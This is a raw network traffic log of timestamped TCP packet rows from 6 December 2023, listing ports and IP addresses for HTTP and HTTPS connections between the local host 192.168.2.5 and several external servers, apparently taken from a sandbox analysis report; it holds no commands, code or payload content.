Dec 6, 2023 14:50:51.319406986 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.319444895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.319487095 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.319499969 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.319555998 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.319614887 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.319617033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.319653988 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.319688082 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.319715023 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.319875002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.319911003 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.319930077 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.320092916 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.320127964 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.320314884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.320440054 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.320482969 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.320504904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.320549965 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.320590019 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.320683002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.320774078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.320808887 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.320839882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.320849895 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.320892096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.320926905 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.320966005 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.321078062 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.321111917 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.321130991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.321171045 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.321204901 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.321291924 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.321343899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.321377039 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.321403027 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.321567059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.321625948 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.321917057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.373785019 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.420691967 CET	49704	80	192.168.2.5	104.21.52.223
Dec 6, 2023 14:50:51.517013073 CET	80	49704	104.21.52.223	192.168.2.5
Dec 6, 2023 14:50:52.420404911 CET	80	49704	104.21.52.223	192.168.2.5
Dec 6, 2023 14:50:52.467592001 CET	49704	80	192.168.2.5	104.21.52.223
Dec 6, 2023 14:51:00.027475119 CET	49706	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:00.027560949 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:00.027678013 CET	49706	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:00.030975103 CET	49706	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:00.031053066 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:00.601872921 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:00.602113962 CET	49706	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:00.604582071 CET	49706	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:00.604609013 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:00.605108023 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:00.655122042 CET	49706	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:01.029321909 CET	49706	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:01.072813988 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:01.129730940 CET	49703	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:51:01.129730940 CET	49703	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:51:01.130311012 CET	49711	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:51:01.130393028 CET	443	49711	23.1.237.91	192.168.2.5
Dec 6, 2023 14:51:01.130738020 CET	49711	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:51:01.130996943 CET	49711	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:51:01.131031990 CET	443	49711	23.1.237.91	192.168.2.5
Dec 6, 2023 14:51:01.282845974 CET	443	49703	23.1.237.91	192.168.2.5
Dec 6, 2023 14:51:01.282876015 CET	443	49703	23.1.237.91	192.168.2.5
Dec 6, 2023 14:51:01.391829967 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:01.391894102 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:01.391915083 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:01.391976118 CET	49706	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:01.392008066 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:01.392028093 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:01.392040968 CET	49706	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:01.392091036 CET	49706	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:01.392100096 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:01.392131090 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:01.392174959 CET	49706	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:01.392199039 CET	49706	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:01.392205954 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:01.392338037 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:01.392395973 CET	49706	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:01.457739115 CET	443	49711	23.1.237.91	192.168.2.5
Dec 6, 2023 14:51:01.457824945 CET	49711	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:51:01.641932011 CET	49706	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:01.641932011 CET	49706	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:01.641995907 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:01.642038107 CET	443	49706	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:03.176636934 CET	49714	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.176688910 CET	443	49714	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:03.176774979 CET	49714	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.180979013 CET	49714	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.180994034 CET	443	49714	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:03.394962072 CET	443	49714	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:03.395119905 CET	49714	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.533700943 CET	49714	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.533730984 CET	443	49714	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:03.534265995 CET	443	49714	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:03.534333944 CET	49714	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.542299032 CET	49714	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.584772110 CET	443	49714	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:03.658891916 CET	443	49714	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:03.658997059 CET	49714	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.659013987 CET	443	49714	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:03.659038067 CET	443	49714	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:03.659070015 CET	49714	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.659092903 CET	49714	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.660345078 CET	49714	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.660367012 CET	443	49714	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:03.660393953 CET	49714	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.660469055 CET	49714	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.662619114 CET	49715	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.662714005 CET	443	49715	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:03.662826061 CET	49715	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.663446903 CET	49715	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.663482904 CET	443	49715	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:03.874648094 CET	443	49715	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:03.874941111 CET	49715	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.875699997 CET	49715	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.875710011 CET	443	49715	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:03.876004934 CET	49715	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:03.876009941 CET	443	49715	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:04.121226072 CET	443	49715	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:04.121352911 CET	49715	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:04.121382952 CET	443	49715	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:04.121448040 CET	49715	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:04.122157097 CET	49715	443	192.168.2.5	104.21.13.66
Dec 6, 2023 14:51:04.122196913 CET	443	49715	104.21.13.66	192.168.2.5
Dec 6, 2023 14:51:04.254893064 CET	49716	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:04.254935980 CET	443	49716	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:04.255012035 CET	49716	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:04.255317926 CET	49716	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:04.255348921 CET	443	49716	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:04.831613064 CET	443	49716	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:04.831718922 CET	49716	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:04.836380959 CET	49716	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:04.836405039 CET	443	49716	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:04.836986065 CET	443	49716	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:04.837160110 CET	49716	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:04.837636948 CET	49716	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:04.880831003 CET	443	49716	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:05.029086113 CET	443	49716	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:05.029216051 CET	49716	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:05.029232979 CET	443	49716	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:05.029297113 CET	49716	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:05.029375076 CET	49716	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:05.029414892 CET	443	49716	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:05.029441118 CET	49716	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:05.029519081 CET	49716	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:05.052809954 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:05.052846909 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:05.052930117 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:05.053421974 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:05.053440094 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:05.612643003 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:05.612711906 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:05.613508940 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:05.613521099 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:05.613974094 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:05.613980055 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:05.996915102 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:05.996978045 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:05.997024059 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:05.997170925 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:05.997170925 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:05.997196913 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:05.997253895 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:06.178083897 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:06.178148985 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:06.178358078 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:06.178358078 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:06.178380966 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:06.178431034 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:06.357115984 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:06.357270956 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:06.357367039 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:06.357367039 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:06.357384920 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:06.357426882 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:06.536621094 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:06.536689997 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:06.536861897 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:06.536861897 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:06.536887884 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:06.536933899 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:06.715941906 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:06.716025114 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:06.716263056 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:06.716280937 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:06.716504097 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:06.895057917 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:06.895159960 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:06.895239115 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:06.895279884 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:06.895320892 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:06.895354986 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.073925972 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.074040890 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.074126005 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.074150085 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.074275017 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.253056049 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.253118992 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.253216028 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.253237009 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.253268003 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.253288031 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.254081011 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.254143953 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.254163980 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.254177094 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.254208088 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.254223108 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.433056116 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.433115959 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.433336973 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.433357954 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.433377981 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.433430910 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.611884117 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.611953020 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.611994982 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.612015963 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.612032890 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.612060070 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.790782928 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.790810108 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.791060925 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.791060925 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.791090965 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.791136980 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.970149040 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.970204115 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.970357895 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.970412016 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.970459938 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.970480919 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:07.970535040 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:07.970630884 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:08.149485111 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.149553061 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.149733067 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:08.149751902 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.149858952 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:08.328797102 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.328852892 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.329152107 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:08.329169035 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.329237938 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:08.508527040 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.508549929 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.508899927 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:08.508950949 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.509011030 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:08.687357903 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.687385082 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.687439919 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:08.687458992 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.687530994 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:08.689184904 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:08.769754887 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.769787073 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.769884109 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:08.769922972 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.769937992 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:08.769964933 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:08.866686106 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.866761923 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.866895914 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:08.866930008 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:08.866945028 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:08.866976023 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.045726061 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.045758009 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.045886993 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.045919895 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.045968056 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.128627062 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.128691912 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.128807068 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.128835917 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.128864050 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.128889084 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.404103994 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.404155016 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.404331923 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.404357910 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.404411077 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.404731989 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.404753923 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.404817104 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.404825926 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.404865980 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.586821079 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.586886883 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.586978912 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.587001085 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.587049007 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.587075949 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.762898922 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.762963057 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.763392925 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.763458014 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.763561010 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.942378998 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.942441940 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.942526102 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:09.942562103 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:09.942651987 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:10.121419907 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.121476889 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.121684074 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:10.121705055 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.121797085 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:10.249202967 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.249237061 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.249507904 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:10.249542952 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.249623060 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:10.383558989 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.383588076 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.383785009 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:10.383806944 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.384016991 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:10.483828068 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.483856916 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.484242916 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:10.484273911 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.484450102 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:10.663642883 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.663674116 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.663856030 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:10.663892031 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.664190054 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:10.742855072 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.742891073 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.743063927 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:10.743078947 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:10.743199110 CET	49717	443	192.168.2.5	185.23.108.224
